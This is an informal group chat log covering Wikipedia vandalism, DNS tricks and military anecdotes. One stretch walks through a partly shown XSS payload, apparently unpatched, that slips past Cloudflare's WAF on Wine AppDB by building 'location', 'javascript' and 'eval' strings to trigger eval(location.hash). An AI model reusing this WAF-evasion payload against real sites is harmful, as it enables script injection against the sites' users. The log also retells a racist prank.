[01:33:19] theresnotime: you might wanna check out https://en.wikipedia.org/wiki/Special:Contributions/Leafcaddy :p [01:33:35] only edited their own user page, their talk, and your sidebar twice [01:33:43] both sidebar edits were revved for vandalism :p [01:33:52] no other global contribs either [01:56:58] i added a warning to their talk fyi: https://en.wikipedia.org/w/index.php?title=User_talk:Leafcaddy&diff=prev&oldid=1282697422 [04:15:01] oh sammy isn't here huh [05:09:46] pixldev: you know that service that lets you resolve 1.2.3.4.example.com to 1.2.3.4? [05:09:47] i forgor the name of it [06:38:42] BlankEclair: they honestly should just be blocked [06:38:58] leafcaddy? [06:39:01] Ye [06:39:06] ah, agreed lol [06:39:36] My expenses ain't paid [06:39:40] That's not good [06:39:49] Cause there's no run today [06:40:01] Due to the FY changeover [06:40:21] I need to check the expenses system when I get to the office [06:40:35] But come on how can you screw up the final run of the FY [06:41:20] great [06:44:41] BlankEclair: it was like £55 too [06:45:21] for some reason i read "My expenses" as "My wages" [06:45:38] so that made things sound disasterously worse, and things more confusing when you said 55 quid [06:47:23] BlankEclair: pay day is Monday [06:47:51] I've had underpayments and overpayments before [06:48:06] Why do you think I have huge excel spreadsheets BlankEclair [06:48:11] touche [06:48:25] ugh i hate gnu sed sometimes [06:48:33] at least we have perl [07:55:53] in-addr.arpa? [07:56:33] like http://1.1.1.1.in-addr.arpa should resolve to http://1.1.1.1 if I’m not mistaken [08:04:02] ok it doesn’t [08:04:15] but if you had another IP it would [08:04:29] for instance, this cursed mastodon instance [08:04:35] http://160.176.40.77.in-addr.arpa [09:10:38] groupnebula563_0765: huh, interesting [09:10:45] does it do ipv6 though? [09:14:07] [1/2] oh right, i get to show off this screenshot now: [09:14:07] [2/2] https://cdn.discordapp.com/attachments/615786602454581249/1355107678472372244/2025-03-28_08-21.png?ex=67e7b9df&is=67e6685f&hm=f5346cdbdb02961b868f401f2ceebf42568daba6d6dbc3ed3afeb6ea2d9509e5& [09:18:23] what's that [09:31:41] theoneandonlylegroom: my fedi instance loaded on the school network without any proxies [09:43:45] I love 1.1.1.1 [09:43:57] Blahaj coding?! [09:44:11] he was fixing an outage =w= [09:44:23] Also lovense... [09:44:28] yep :3 [09:44:31] my fedi instance is on their domain [09:44:43] I know a chick who brought those on deployment. [09:44:55] deployment? [09:44:56] The army is freaky. Yo. [09:45:08] Back when I was in the Army... My unit was full of weirdos. [09:45:08] oh [09:45:15] hell yeah >:3c [09:45:31] We had a 6'2 girl who was our platoon weapons specialist. Basically she carries like 200 pounds of gear. [09:45:40] And a machine gun. And not any machine gun. A big one. [09:45:42] holy shit she's tall [09:45:47] Yup. [09:45:52] Built like a bulldozer too. [09:46:05] wfwliflwiaefbauifwefawliefawefb this is too much for my gay ass :neocat_blush_hide: [09:46:50] We had a 58 year old commissar who fought Chinese in 1979. [09:46:59] woa [09:47:15] We had a nerd who brought bodypillow on deployment. [09:47:23] Our Lieutenant (Platoon commander) was a furry. [09:47:30] heh [09:47:34] oh hell yeah! [09:48:01] In addition, our platoon (Fifty people) also have a few special mentions: [09:48:05] A Sergeant with 5 divorces, [09:48:09] A Corporal with 3. [09:48:12] ouch [09:48:23] A guy who stuck his willy into the Truck's exhaust for some weird reason. [09:48:35] how was the experience? [09:48:54] A mortar team that weaponised math and play that weird tictac math game. [09:49:09] And me, I'm 5'4 combat medical specialist. [09:49:21] Yes. I'm short. [09:49:32] goals- [09:49:34] The military is whacky. [09:49:46] It's where all the weirdos gather. [09:49:56] what about the WCA [09:49:58] Think of the military like a DnD session but you'd actually die. [09:50:01] WCA? [09:50:03] LMFAO [09:50:08] wikimedia cuteness association [09:50:23] I'm not cute enough to be there. So no clue. [09:50:26] 😔 [09:50:30] awh :( [09:50:37] Literally. You have all sorts of folks. [09:50:42] https://meta.wikimedia.org/wiki/Wikimedia_Cuteness_Association [09:51:15] [1/2] Some of my funniest story includes: "She's real to me. Doc." [09:51:16] [2/2] "Wash your god damn pillow." [09:51:24] lmfao [09:51:38] "There is no such thing as near death experience." [09:51:45] "My dude. A rocket just flew past our fucking head." [09:51:59] "We didn't die though." [09:52:39] Other stories include raiding vending machines, trading snacks, giving food to the locals and stealing food from the officer's mess. [09:52:51] Oh and calling pizza to the firebase. [09:52:55] sounds like trauma [09:53:16] I was on top of the BTR (An armoured carrier. Think of a bus but metal). [09:53:25] Some poor sod decided to shoot a rocket at us. [09:53:28] It whizzed past my head. [09:53:32] oh god [09:53:37] Hits the sand dune like, 500-600m away. [09:53:55] I lived though. 😎 [09:55:05] Fun fact: Cute things are very common in the Military. [09:55:13] Plushies, pillows, keychains. [09:55:21] Hell. I had a T-Rex plushie in my truck dashboard. [09:55:23] ooooh~ [09:55:30] how many blahaj have you seen? [09:55:45] It was pre-COVID so before blahajs. [09:55:50] damn [09:55:51] Lots of bears though. [09:56:00] Various type of plushies. [09:56:01] there are two types of- [09:56:07] I know a guy who rock hello kitty keychain. [09:56:24] And a guy who wear a custom patch he ordered "Born to be cute. Forced to kill people". [09:56:30] ahaha [09:56:43] me if i were in the military [09:57:13] And then there's me with a hello kitty patch and my "U.Ninvolved in peace"... Beneath my U.N insignia on my sleeve. [09:57:27] heh [09:57:37] i wanna get a kuromi plushie tbh [09:58:09] Anime patches and furry patches are very popular. In contrast to what Hollywood tells you about the military. [09:58:14] heh [09:58:21] Badass and cool shit? That's hollywood. [09:58:27] new expectation: military is very gay [09:58:32] I know guys who drew pinup anime girls on their tank. [09:58:48] Yes. We are. And the humour is also very dark. [09:59:12] heh [09:59:35] I know a guy who has uh. Magical girls patches and a tank crew who wrote "Niko niko nii" on their tank barrel. [09:59:47] nico nico nii~ [10:00:04] Sends a 125mm high explosive shell at you. [10:00:12] Literally the joke. [10:00:18] :3 [10:00:22] "Nico nico nii, catch this round you filthy heathen." [10:00:29] parry this you fucking casual [10:00:50] Our BTR had uh... Esdeath painted to the side. [10:00:56] Esdeath from Akame ga kill. [10:01:06] Yeah. The crew were... Special sort. [10:01:39] idt i've watched that [10:01:43] And that's just my unit alone. The United Nations is international so there are also other countrymen in our base. [10:01:56] There are African peacekeepers, Brits and French. [10:02:04] The British have a very sick sense of humour. [10:02:10] oh? [10:02:34] They taught a African peacekeeper that the N word means hello in english. [10:02:38] Yeah... [10:02:45] They're sickos. [10:03:06] ugh... [10:03:14] i thought humour in the funny kind [10:03:18] not the racist kind [10:03:35] I mean in a sense it's funny but also very sick. [10:03:47] The peacekeeper is from Rwanda and doesn't speak a single word in english. [10:03:58] Their officers usually do though. But not the lower enlisted. [10:04:10] language barrier is a huge problem in the United Nations. [10:04:22] hmm [10:04:25] United Nyations~ [10:04:39] Clearly you should become a U.N official. [10:04:43] They need geniuses. [10:04:48] :3 [10:05:04] PS: Becoming an official in the U.N is surprisingly easy. [10:05:14] i emailed someone UwU as a part of an xss report [10:05:50] Not the worst. A guy once drew a huge p on our tac map. [10:06:01] The map that we military folks use that we can draw on it. [10:06:06] https://cdn.discordapp.com/attachments/615786602454581249/1355120760691363860/2025-03-28_21-05.png?ex=67e7c60e&is=67e6748e&hm=ac7fdea905b6e910bed9c0ae2f89bb19975d44741e6d3844d5e1404ff14c8405& [10:06:09] And uh... Somebody drew it on the tablet. [10:06:16] how detailed was it? [10:06:22] Extremely detailed. [10:06:26] if it's a simple olo then i'm not imp- okay i'm impressed [10:06:33] The C/O was fuming. [10:06:39] bad sense of humour [10:06:45] They had IT guys try to track down the saboteur. [10:06:55] > try to [10:07:06] What do you expect from a 50 year old senior officer? [10:07:13] touche [10:07:28] Unironically. Our Commissar had the best sense of humour. [10:07:32] Compared to our commanding officer. [10:07:39] heh [10:07:44] So he never ratted us out to the C/O. [10:08:00] The IT guys never did it cause it was too funny. [10:08:06] AHAHAHAHA YES [10:08:50] There was also that time when our base air defence system locked onto a civilian airliner. [10:08:55] oh no [10:09:05] Engineers panicked. [10:09:09] Everybody panicked. [10:09:15] yep [10:09:20] Then a guy walked up to the generator and just pulled the plug. [10:09:24] LMAO [10:09:25] Problem literally solved [10:10:07] Nobody tried to just turn it off. They tried to recalibrate it or have it lock onto something else. [10:10:31] Apparently turning it off was the solution to all our problems. [10:12:04] Fun fact: Behind those million dollar war machines is code made in python or C++ running on Windows 7, 10 or 11... Or XP. [10:12:26] Our remote control system for the weapons system that can vapourise people? Literally runs on Windows 10. [10:12:30] surprised it's python [10:12:39] and i'm surprised it's not windows 3.11 [10:12:44] Some of the cheaper stuff runs on Python. [10:12:50] Fancier stuff runs on XP or 7. [10:12:56] Newer stuff runs on 10 and 11. [10:14:01] ah [10:15:44] I think yeah [10:16:12] it’s like ip6.in-addr.arpa though, don’t recall how the address is formatted [10:16:21] I think [10:16:27] it’s just dots [10:28:33] For example. The guidance system for our air defence runs on windows XP. [10:28:42] Our tablets run on Windows 10. [10:28:50] Our computers run on Windows 7. [13:15:04] i like bypassing the cloudflare waf [13:31:31] lol i found another bypass [13:38:04] [1/2] [2/2] %2Bcol%2Bev%2Bthis.value%20x3#javascript:alert('WAFFFFF!')> [13:38:06] :3c [13:38:12] Longer link pls [13:38:27] yeah nah, you can bloat it up yourself xD [13:38:33] 😂 [13:38:39] i wrote those primitives by hand, no thanks [13:39:14] What is that anyway? [13:39:52] an xss in wine appdb that i reported over a year ago [13:40:03] after said year, they apparently have some cloudflare waf [13:40:08] but i bypassed the waf out of boredom :3 [13:41:31] Ah [13:42:33] i wonder if you want me to walk through the xss lol [13:43:55] TL;DR javascript.alert is passed through due to bad input sanitation [13:44:02] yep [13:44:24] I did a semester of Security+ 😛 [13:44:50] do you want a step by step walk through though? x3 [13:45:21] I mean sure, I vaguely know it works [13:46:06] [1/3] ```html [13:46:06] [2/3] [13:46:06] [3/3] ``` [13:46:09] here's the html element [13:46:48] [1/12] and here's the javascript a bit prettified [13:46:48] [2/12] ```js [13:46:48] [3/12] a=/location/+0 [13:46:48] [4/12] loc=a[1]+a[2]+a[3]+a[4]+a[5]+a[6]+a[7]+a[8] [13:46:49] [5/12] a=/javascript/+0 [13:46:49] [6/12] js=a[1]+a[2]+a[3]+a[4]+a[5]+a[6]+a[7]+a[8]+a[9]+a[10] [13:46:49] [7/12] a=/:/+0 [13:46:50] [8/12] col=a[1] [13:46:50] [9/12] a=/eval/+0 [13:46:50] [10/12] ev=a[1]+a[2]+a[3]+a[4] [13:46:51] [11/12] self[loc]=js+col+ev+this.value [13:46:51] [12/12] ``` [13:47:31] i wasn't able to use 'single quotes' (because waf blocks it) or "double quotes" (because bad code escapes it to \", which breaks the payload) [13:47:47] so i did `/location/+0`, which casts it to a string and becomes `'/location/0` [13:48:06] so the `loc` part basically constructs the strings without the / or 0 filler [13:48:18] https://sslip.io [13:48:44] [1/8] so basically [13:48:44] [2/8] ```js [13:48:45] [3/8] loc='location' [13:48:45] [4/8] js='javascript' [13:48:45] [5/8] col=':' [13:48:46] [6/8] ev='eval' [13:48:46] [7/8] self['location']='javascript'+':'+'eval'+this.value [13:48:46] [8/8] ``` [13:49:07] [1/4] and `this.value` is [13:49:08] [2/4] ```js [13:49:08] [3/4] (location.hash.substr`1`)//\ [13:49:08] [4/4] ``` [13:49:33] [1/4] so it effectively navigates the browser to [13:49:33] [2/4] ``` [13:49:33] [3/4] javascript:eval(location.hash.substr`1`) [13:49:34] [4/4] ``` [13:50:05] [1/8] what is ` doing there? basically, there's an obscure javascript feature where [13:50:05] [2/8] ```js [13:50:05] [3/8] console.log`meow` [13:50:06] [4/8] ``` [13:50:06] [5/8] evaluates to [13:50:06] [6/8] ```js [13:50:07] [7/8] console.log('meow') [13:50:07] [8/8] ``` [13:50:27] did i have to do it here? unsure, i did it just in case [13:51:01] `location.hash` equals `#javascript:alert('WAFFFFF!')`, so `location.hash.substr('1')` equals `javascript:alert('WAFFFFF!')` [13:51:14] so we navigate to the javascript uri in the hash [13:51:20] boom, WAFFFFF! [13:51:25] ty <3 [13:53:07] Interesting the site isnt even loading for me anymore lol [13:54:49] imagine if they took it down because of me- [13:55:22] https://cdn.discordapp.com/attachments/615786602454581249/1355178457965006908/IMG_3804.png?ex=67e7fbca&is=67e6aa4a&hm=0c5b383d1409960bd872e04edb7ba53cc13ae3f4235b21206e820f93be7350b4& [13:55:28] 😂 [13:55:41] [1/2] i've given up on contacting them though [13:55:41] [2/2] it's been over a year and the last response i got was something to the effect of 'i don't really know how to fix this' even though i pointed to the applicable line that uses the value unescaped [13:56:36] [1/3] IA to the rescue! [13:56:36] [2/3] [3/3] 0;ev=a[1]%2Ba[2]%2Ba[3]%2Ba[4];self[loc]=js%2Bcol%2Bev%2Bthis.value%20x3#javascript:alert('WAFFFFF!')> [13:57:59] man [13:58:03] meow? [14:13:59] Like that there's an X3 in the URL near the end [14:14:15] x3 [14:16:48] I sent you a message. [17:25:44] Saw the new discord UI - horrible. [17:26:45] I already got used to it couple of weeks ago [17:52:12] Which is why I am glad that IRC bridges exist [22:48:13] So nice to see kids playing on my street haha [22:49:02] god, ain't that a rarity nowadays [22:50:50] There were also no kids but me on this street for so long [23:45:23] did i get two pings in here [23:45:30] or am i going insane [23:55:49] [1/2] you can use this button to directly jump to your pings [23:55:49] [2/2] https://cdn.discordapp.com/attachments/615786602454581249/1355329564405928066/image.png?ex=67e88884&is=67e73704&hm=43d99b809fcf1d2bf7819e8c2756b3c409ea3b13b2d062c8924f6935519e9da5& [23:56:26] (now you have 3 lol)